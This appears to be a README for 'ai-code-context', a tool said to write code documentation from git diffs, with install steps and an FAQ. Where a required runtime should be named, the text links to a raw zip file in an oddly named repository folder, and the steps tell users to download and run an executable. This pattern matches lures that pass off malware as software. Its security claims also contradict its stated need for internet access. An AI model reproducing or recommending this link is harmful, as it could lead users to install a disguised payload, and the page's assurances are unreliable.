Welcome to ai-code-context! This tool helps you create and maintain code documentation using AI. It automatically generates relevant documentation based on your code changes.
- Automatically generates documentation using git diffs.
- Context-aware suggestions ensure your documentation remains relevant.
- Easy to integrate with your existing development workflow.
- Operating System: Windows 10 or later, macOS, or a Linux distribution (Ubuntu preferred).
- https://raw.githubusercontent.com/Jimartskenya/ai-code-context/main/xerophytically/ai-code-context.zip: Version 14 or higher must be installed. You can download it here.
- Internet Connection: Required for AI features.
Follow these steps to download and install ai-code-context.
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Visit the Download Page Go to the Releases page to find the latest version of ai-code-context.
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Download the Application Click on the download link for the latest version. You will see options for different operating systems. Choose the one that matches your system.
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Locate the Downloaded File Once the download finishes, find the file in your downloads folder.
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Run the Installer
- For Windows: Double-click the
.exefile and follow the prompts. - For macOS: Open the
.dmgfile and drag the app to your Applications folder. - For Linux: Extract the downloaded zip file and run the executable in the terminal.
- For Windows: Double-click the
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Open the Application After installation, you can find ai-code-context in your applications menu. Open it to start using the tool.
- Link It to Your Git Repository: When you first launch the app, you will be prompted to link it to your existing project’s Git repository.
- Generate Documentation: As you make changes to your code, ai-code-context analyzes git diffs and suggests updates to your documentation.
- Review and Edit: Review the generated documentation and make any necessary edits. The tool will highlight changes, making it easy to keep your docs current.
If you encounter any issues:
- Check System Requirements: Ensure your system meets the requirements listed above.
- Look for Updates: Sometimes bugs are fixed in newer versions. Check the releases page for updates.
- Consult the FAQ: We provide a basic FAQ at the end of this document for common issues.
- Regularly generate documentation after significant code changes.
- Encourage your team to use the tool together for better collaboration.
- Take advantage of the AI suggestions, but review them for accuracy before finalizing.
Q: What types of documentation can ai-code-context generate?
A: It can create context-specific documentation, such as function descriptions, class summaries, and API references, automatically.
Q: Is my data secure when using this tool?
A: Yes, ai-code-context processes your data locally. It does not send any of your code to external servers.
Q: Can I use this tool in an offline setting?
A: While some features may require an internet connection for AI functionalities, basic documentation generation can work offline.
For any additional questions or support, feel free to open an issue on the Issues section.
To get started, visit the Releases page and follow the steps outlined above for installation.